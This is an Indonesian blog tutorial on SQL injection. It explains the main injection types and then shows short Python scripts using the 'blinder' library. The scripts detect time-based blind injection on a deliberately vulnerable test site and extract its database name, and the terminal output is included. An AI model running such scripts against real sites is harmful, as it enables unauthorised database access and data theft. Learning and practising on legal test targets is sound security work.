PYTHON

Belajar Sql Injection Dengan Python

Pendahuluan

Pada artikel ini saya akan memberikan ilmu pengetahuan untuk belajar sql injection dengan python perlu di ingat di sini hanyalah untuk pembelajaran saja dan juga saya akan memberikan kamu bagaimana cara eksploitasi pada server database MYSQL menggunakan bahasa scripting yaitu python pada tingkatan keamanan yang rendah di MYSQL dengan bantuan library python bernama blinder.


Dasar Sql Injection

Kita tahu sql injection ini merupakan teknik penyerangan pada website dengan mengincar basis data seperti MYSQL hal ini sebuah basis data atau database merupakan hal yang sangat sensitif. Sql injection kerentanan keamanan web yang memungkinkan penyerang mengganggu kueri yang dibuat aplikasi ke basis datanya. Biasanya memungkinkan penyerang untuk melihat data yang biasanya tidak dapat mereka ambil. Ini mungkin termasuk data milik pengguna lain, atau data lain yang dapat diakses oleh aplikasi itu sendiri. Dalam banyak kasus, penyerang dapat memodifikasi atau menghapus data ini, menyebabkan perubahan terus-menerus pada konten atau perilaku aplikasi.

Dalam beberapa situasi, penyerang dapat meningkatkan serangan injeksi SQL untuk membahayakan server yang mendasarinya atau infrastruktur back-end lainnya, atau melakukan serangan penolakan layanan.

Sumber gambar dari github

Tipe Tipe Sql Injection

1. In-band SQLi (Classic SQLi) : Serangan SQL Injection yang paling umum dan mudah dieksploitasi. In-band SQL Injection terjadi ketika penyerang dapat menggunakan saluran komunikasi yang sama untuk meluncurkan serangan dan mengumpulkan hasil. Dua jenis In-band SQL Injection yang paling umum adalah SQLi berbasis Error dan SQLi berbasis Union.

2. Error-based SQLi : Teknik SQL Injection in-band yang mengandalkan pesan kesalahan yang dilemparkan oleh server database untuk mendapatkan informasi tentang struktur database. Dalam beberapa kasus, injeksi SQL berbasis kesalahan saja sudah cukup bagi penyerang untuk menghitung seluruh database.

3. Union-based SQLi : Teknik injeksi SQL in-band yang memanfaatkan operator SQL UNION untuk menggabungkan hasil dari dua atau lebih pernyataan SELECT menjadi satu hasil yang kemudian dikembalikan sebagai bagian dari respons HTTP.

4. Inferential SQLi (Blind SQLi) : Inferensial SQL Injection, tidak seperti SQLi in-band, mungkin membutuhkan waktu lebih lama untuk dieksploitasi oleh penyerang, namun sama berbahayanya dengan bentuk SQL Injection lainnya. Dalam serangan SQLi inferensial, tidak ada data yang benar-benar ditransfer melalui aplikasi web dan penyerang tidak akan dapat melihat hasil serangan in-band (itulah sebabnya serangan seperti itu biasanya disebut sebagai "serangan Injeksi SQL buta") . Sebaliknya, penyerang dapat merekonstruksi struktur database dengan mengirimkan muatan, mengamati respons aplikasi web dan perilaku yang dihasilkan dari server database. Dua jenis SQL Injection inferensial adalah SQLi berbasis Blind-boolean dan SQLi berbasis Blind-time.

5. Boolean-based (content-based) Blind SQLi : Teknik Injeksi SQL inferensial yang mengandalkan pengiriman kueri SQL ke database yang memaksa aplikasi untuk mengembalikan hasil yang berbeda tergantung pada apakah kueri mengembalikan hasil TRUE atau FALSE. Bergantung pada hasilnya, konten dalam respons HTTP akan berubah, atau tetap sama. Ini memungkinkan penyerang untuk menyimpulkan apakah muatan yang digunakan mengembalikan benar atau salah, meskipun tidak ada data dari database yang dikembalikan.

6. Time-based Blind SQLi : Teknik Injeksi SQL inferensial yang mengandalkan pengiriman kueri SQL ke database yang memaksa database menunggu selama waktu tertentu (dalam detik) sebelum merespons. Waktu respons akan menunjukkan kepada penyerang apakah hasil kueri adalah TRUE atau FALSE. Bergantung pada hasilnya, respons HTTP akan dikembalikan dengan penundaan, atau segera dikembalikan. Ini memungkinkan penyerang untuk menyimpulkan apakah muatan yang digunakan mengembalikan benar atau salah, meskipun tidak ada data dari database yang dikembalikan.

7. Out-of-band SQLi : Injeksi SQL out-of-band tidak terlalu umum, terutama karena tergantung pada fitur yang diaktifkan pada server database yang digunakan oleh aplikasi web. Injeksi SQL Out-of-band terjadi ketika penyerang tidak dapat menggunakan saluran yang sama untuk meluncurkan serangan dan mengumpulkan hasil. Teknik out-of-band, menawarkan penyerang alternatif untuk teknik berbasis waktu inferensial, terutama jika respons server tidak terlalu stabil (membuat serangan berbasis waktu inferensial tidak dapat diandalkan).

8. Voice Based Sql Injection : Ini adalah metode serangan injeksi sql yang dapat diterapkan dalam aplikasi yang menyediakan akses ke database dengan perintah suara. Penyerang dapat menarik informasi dari database dengan mengirimkan kueri sql dengan suara.


Sql Injection Python

Pada kali ini saya akan membuat program python nya untuk target sudah saya siapkan di mana target nya di legalkan untuk pentest :

http://testphp.vulnweb.com/product.php?pic=1

Hal pertama yang harus kamu lakukan install dulu library python nya :

pip install blinder

Library blinder ini menggunakan metode time based blind sql injection di mana ini menggunakan waktu pada database dan ini membutuhkan waktu yang sangat lambat dan lama. Pastikan kamu mempunyai koneksi internet yang bagus untuk ini saya akan menggunakan library ini untuk cek injeksi url dan mendapatkan database target saja selebihnya kamu bisa kunjungi penjelasan mengenai library blinder di sini untuk eksplor lebih lanjut.


Program Pada Python Untuk Sql Injection

1. Cek Injeksi URL untuk kali ini saya akan cek injeksi URL apakah target rentan terhadap sql injection atau tidak jika rentan maka akan muncul bernilai true sedangkan tidak rentan akan muncul bernilai false ini merupakan boolean pada pemrograman, script nya bisa di lihat di bawah ini :

import Blinder
blind = Blinder.blinder(
    "http://testphp.vulnweb.com/product.php?pic=1",
    sleep=1
 )

print(blind.check_injection())

Hasil :

galihap@kali:~/Desktop# python3 main.py
True
galihap@kali:~/Desktop#

2. Mendapatkan database sasaran pada script ini adalah untuk mendapatkan database target ini sangat memakan waktu sangat lama :

import Blinder
blind = Blinder.blinder(
    "http://testphp.vulnweb.com/product.php?pic=1",
    sleep=1
 )

print("[+] Database pada sasaran : ",blind.get_database())

Hasil :

galihap@kali:~/Desktop# python3 main.py
[+] Database pada sasaran :  acuart
galihap@kali:~/Desktop#

Nah itulah yang bisa saya sampaikan untuk belajar sql injection dengan python. Semoga bermanfaat :D

Disclaimer

Tolong jangan di salah gunakan pada tutorial ini, saya tidak bertanggung jawab, tutorial ini hanya untuk tujuan pendidikan.